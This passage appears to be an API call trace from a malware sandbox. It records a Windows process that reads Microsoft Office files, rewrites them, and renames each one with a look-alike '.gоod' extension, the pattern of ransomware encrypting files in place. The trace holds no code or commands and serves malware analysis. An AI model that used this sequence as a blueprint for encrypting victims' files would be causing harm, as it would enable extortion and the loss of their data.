0x1 [0187.606] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0187.606] GetFileType (hFile=0x820) returned 0x1 [0187.606] WriteFile (in: hFile=0x820, lpBuffer=0x3b76eb0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59de38, lpOverlapped=0x0 | out: lpBuffer=0x3b76eb0*, lpNumberOfBytesWritten=0x1f59de38*=0x1010, lpOverlapped=0x0) returned 1 [0187.606] CloseHandle (hObject=0x820) returned 1 [0187.606] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACCESS12.ACC", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACCESS12.ACC", lpFilePart=0x0) returned 0x41 [0187.606] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACCESS12.ACC.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACCESS12.ACC.gоod", lpFilePart=0x0) returned 0x46 [0187.606] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0187.606] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACCESS12.ACC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\access12.acc"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x996d62b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x996d62b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c0845b8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x79010)) returned 1 [0187.607] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0187.607] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACCESS12.ACC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\access12.acc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACCESS12.ACC.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\access12.acc.gоod")) returned 1 [0187.608] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACTIP10.HLP", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACTIP10.HLP", lpFilePart=0x0) returned 0x40 [0187.608] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0187.608] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACTIP10.HLP" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\actip10.hlp"), fInfoLevelId=0x0, lpFileInformation=0x3bf45f0 | out: lpFileInformation=0x3bf45f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x98fae45, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x98fae45, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x996d62b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x53de0)) returned 1 [0187.608] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0187.608] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACTIP10.HLP", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACTIP10.HLP", lpFilePart=0x0) returned 0x40 [0187.608] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0187.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACTIP10.HLP" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\actip10.hlp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0187.608] GetFileType (hFile=0x820) returned 0x1 [0187.608] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0187.608] GetFileType (hFile=0x820) returned 0x1 [0187.609] SetFilePointer (in: hFile=0x820, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x1000 [0187.609] ReadFile (in: hFile=0x820, lpBuffer=0x3bf49e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59ddd8, lpOverlapped=0x0 | out: lpBuffer=0x3bf49e8*, lpNumberOfBytesRead=0x1f59ddd8*=0x1000, lpOverlapped=0x0) returned 1 [0187.610] CloseHandle (hObject=0x820) returned 1 [0187.611] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACTIP10.HLP", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACTIP10.HLP", lpFilePart=0x0) returned 0x40 [0187.611] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0187.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACTIP10.HLP" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\actip10.hlp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0187.611] GetFileType (hFile=0x820) returned 0x1 [0187.611] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0187.611] GetFileType (hFile=0x820) returned 0x1 [0187.611] SetFilePointer (in: hFile=0x820, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x53de0 [0187.611] WriteFile (in: hFile=0x820, lpBuffer=0x3bf5d10*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59dcf8, lpOverlapped=0x0 | out: lpBuffer=0x3bf5d10*, lpNumberOfBytesWritten=0x1f59dcf8*=0x10, lpOverlapped=0x0) returned 1 [0187.612] CloseHandle (hObject=0x820) returned 1 [0187.613] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACTIP10.HLP", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACTIP10.HLP", lpFilePart=0x0) returned 0x40 [0187.613] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0187.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACTIP10.HLP" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\actip10.hlp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0187.613] GetFileType (hFile=0x820) returned 0x1 [0187.613] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0187.613] GetFileType (hFile=0x820) returned 0x1 [0187.613] ReadFile (in: hFile=0x820, lpBuffer=0x3bf8030, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd88, lpOverlapped=0x0 | out: lpBuffer=0x3bf8030*, lpNumberOfBytesRead=0x1f59dd88*=0x1000, lpOverlapped=0x0) returned 1 [0187.680] CloseHandle (hObject=0x820) returned 1 [0187.680] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACTIP10.HLP", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACTIP10.HLP", lpFilePart=0x0) returned 0x40 [0187.680] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0187.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACTIP10.HLP" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\actip10.hlp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0187.680] GetFileType (hFile=0x820) returned 0x1 [0187.680] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0187.680] GetFileType (hFile=0x820) returned 0x1 [0187.681] WriteFile (in: hFile=0x820, lpBuffer=0x3bf6d98*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59de38, lpOverlapped=0x0 | out: lpBuffer=0x3bf6d98*, lpNumberOfBytesWritten=0x1f59de38*=0x1010, lpOverlapped=0x0) returned 1 [0187.681] CloseHandle (hObject=0x820) returned 1 [0187.681] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACTIP10.HLP", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACTIP10.HLP", lpFilePart=0x0) returned 0x40 [0187.681] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACTIP10.HLP.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACTIP10.HLP.gоod", lpFilePart=0x0) returned 0x45 [0187.681] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0187.681] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACTIP10.HLP" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\actip10.hlp"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x98fae45, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x98fae45, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c14310c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x53df0)) returned 1 [0187.681] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0187.681] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACTIP10.HLP" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\actip10.hlp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACTIP10.HLP.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\actip10.hlp.gоod")) returned 1 [0187.682] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\BASIC.HTM", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\BASIC.HTM", lpFilePart=0x0) returned 0x3e [0187.683] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0187.683] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\BASIC.HTM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\basic.htm"), fInfoLevelId=0x0, lpFileInformation=0x3c74588 | out: lpFileInformation=0x3c74588*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4580dcb, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4580dcb, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4580dcb, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x10d)) returned 1 [0187.683] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0187.683] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\BASIC.HTM", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\BASIC.HTM", lpFilePart=0x0) returned 0x3e [0187.683] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0187.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\BASIC.HTM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\basic.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0187.684] GetFileType (hFile=0x820) returned 0x1 [0187.684] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0187.684] GetFileType (hFile=0x820) returned 0x1 [0187.684] GetFileSize (in: hFile=0x820, lpFileSizeHigh=0x1f59de08 | out: lpFileSizeHigh=0x1f59de08*=0x0) returned 0x10d [0187.684] ReadFile (in: hFile=0x820, lpBuffer=0x3c74930, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd38, lpOverlapped=0x0 | out: lpBuffer=0x3c74930*, lpNumberOfBytesRead=0x1f59dd38*=0x10d, lpOverlapped=0x0) returned 1 [0187.685] CloseHandle (hObject=0x820) returned 1 [0188.328] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\BASIC.HTM", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\BASIC.HTM", lpFilePart=0x0) returned 0x3e [0188.328] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0188.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\BASIC.HTM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\basic.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0188.329] GetFileType (hFile=0x7f8) returned 0x1 [0188.329] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0188.329] GetFileType (hFile=0x7f8) returned 0x1 [0188.329] WriteFile (in: hFile=0x7f8, lpBuffer=0x3b94708*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x1f59dc48, lpOverlapped=0x0 | out: lpBuffer=0x3b94708*, lpNumberOfBytesWritten=0x1f59dc48*=0x110, lpOverlapped=0x0) returned 1 [0188.330] CloseHandle (hObject=0x7f8) returned 1 [0188.330] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\BASIC.HTM", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\BASIC.HTM", lpFilePart=0x0) returned 0x3e [0188.330] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\BASIC.HTM.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\BASIC.HTM.gоod", lpFilePart=0x0) returned 0x43 [0188.331] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0188.331] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\BASIC.HTM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\basic.htm"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4580dcb, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4580dcb, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x6c785216, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x110)) returned 1 [0188.331] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0188.331] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\BASIC.HTM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\basic.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\BASIC.HTM.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\basic.htm.gоod")) returned 1 [0188.332] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\BW.CSS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\BW.CSS", lpFilePart=0x0) returned 0x3b [0188.332] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0188.332] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\BW.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\bw.css"), fInfoLevelId=0x0, lpFileInformation=0x3b95a58 | out: lpFileInformation=0x3b95a58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x45348e5, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x45348e5, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x45348e5, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xd7a)) returned 1 [0188.333] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0188.333] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\BW.CSS", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\BW.CSS", lpFilePart=0x0) returned 0x3b [0188.333] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0188.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\BW.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\bw.css"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0188.333] GetFileType (hFile=0x7f8) returned 0x1 [0188.333] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0188.333] GetFileType (hFile=0x7f8) returned 0x1 [0188.333] GetFileSize (in: hFile=0x7f8, lpFileSizeHigh=0x1f59de08 | out: lpFileSizeHigh=0x1f59de08*=0x0) returned 0xd7a [0188.333] ReadFile (in: hFile=0x7f8, lpBuffer=0x3b96a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd38, lpOverlapped=0x0 | out: lpBuffer=0x3b96a30*, lpNumberOfBytesRead=0x1f59dd38*=0xd7a, lpOverlapped=0x0) returned 1 [0188.334] CloseHandle (hObject=0x7f8) returned 1 [0188.405] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\BW.CSS", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\BW.CSS", lpFilePart=0x0) returned 0x3b [0188.405] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0188.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\BW.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\bw.css"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0188.407] GetFileType (hFile=0x630) returned 0x1 [0188.407] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0188.407] GetFileType (hFile=0x630) returned 0x1 [0188.407] WriteFile (in: hFile=0x630, lpBuffer=0x378f480*, nNumberOfBytesToWrite=0xd80, lpNumberOfBytesWritten=0x1f59dc48, lpOverlapped=0x0 | out: lpBuffer=0x378f480*, lpNumberOfBytesWritten=0x1f59dc48*=0xd80, lpOverlapped=0x0) returned 1 [0188.408] CloseHandle (hObject=0x630) returned 1 [0188.408] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\BW.CSS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\BW.CSS", lpFilePart=0x0) returned 0x3b [0188.408] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\BW.CSS.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\BW.CSS.gоod", lpFilePart=0x0) returned 0x40 [0188.408] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0188.408] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\BW.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\bw.css"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45348e5, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x45348e5, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x6c843e78, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd80)) returned 1 [0188.408] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0188.408] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\BW.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\bw.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\BW.CSS.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\bw.css.gоod")) returned 1 [0188.410] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\COFFEE.CSS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\COFFEE.CSS", lpFilePart=0x0) returned 0x3f [0188.410] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0188.410] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\COFFEE.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\coffee.css"), fInfoLevelId=0x0, lpFileInformation=0x37907c8 | out: lpFileInformation=0x37907c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x45348e5, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x45348e5, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4580dcb, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xd7a)) returned 1 [0188.479] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0188.479] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\COFFEE.CSS", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\COFFEE.CSS", lpFilePart=0x0) returned 0x3f [0188.479] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0188.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\COFFEE.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\coffee.css"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0188.479] GetFileType (hFile=0x81c) returned 0x1 [0188.479] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0188.479] GetFileType (hFile=0x81c) returned 0x1 [0188.479] GetFileSize (in: hFile=0x81c, lpFileSizeHigh=0x1f59de08 | out: lpFileSizeHigh=0x1f59de08*=0x0) returned 0xd7a [0188.479] ReadFile (in: hFile=0x81c, lpBuffer=0x386b750, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd38, lpOverlapped=0x0 | out: lpBuffer=0x386b750*, lpNumberOfBytesRead=0x1f59dd38*=0xd7a, lpOverlapped=0x0) returned 1 [0188.480] CloseHandle (hObject=0x81c) returned 1 [0188.506] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\COFFEE.CSS", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\COFFEE.CSS", lpFilePart=0x0) returned 0x3f [0188.506] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0188.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\COFFEE.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\coffee.css"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0188.507] GetFileType (hFile=0x81c) returned 0x1 [0188.507] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0188.508] GetFileType (hFile=0x81c) returned 0x1 [0188.508] WriteFile (in: hFile=0x81c, lpBuffer=0x38e7168*, nNumberOfBytesToWrite=0xd80, lpNumberOfBytesWritten=0x1f59dc48, lpOverlapped=0x0 | out: lpBuffer=0x38e7168*, lpNumberOfBytesWritten=0x1f59dc48*=0xd80, lpOverlapped=0x0) returned 1 [0188.508] CloseHandle (hObject=0x81c) returned 1 [0188.508] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\COFFEE.CSS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\COFFEE.CSS", lpFilePart=0x0) returned 0x3f [0188.509] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\COFFEE.CSS.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\COFFEE.CSS.gоod", lpFilePart=0x0) returned 0x44 [0188.509] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0188.509] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\COFFEE.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\coffee.css"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45348e5, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x45348e5, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x6c928aff, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, 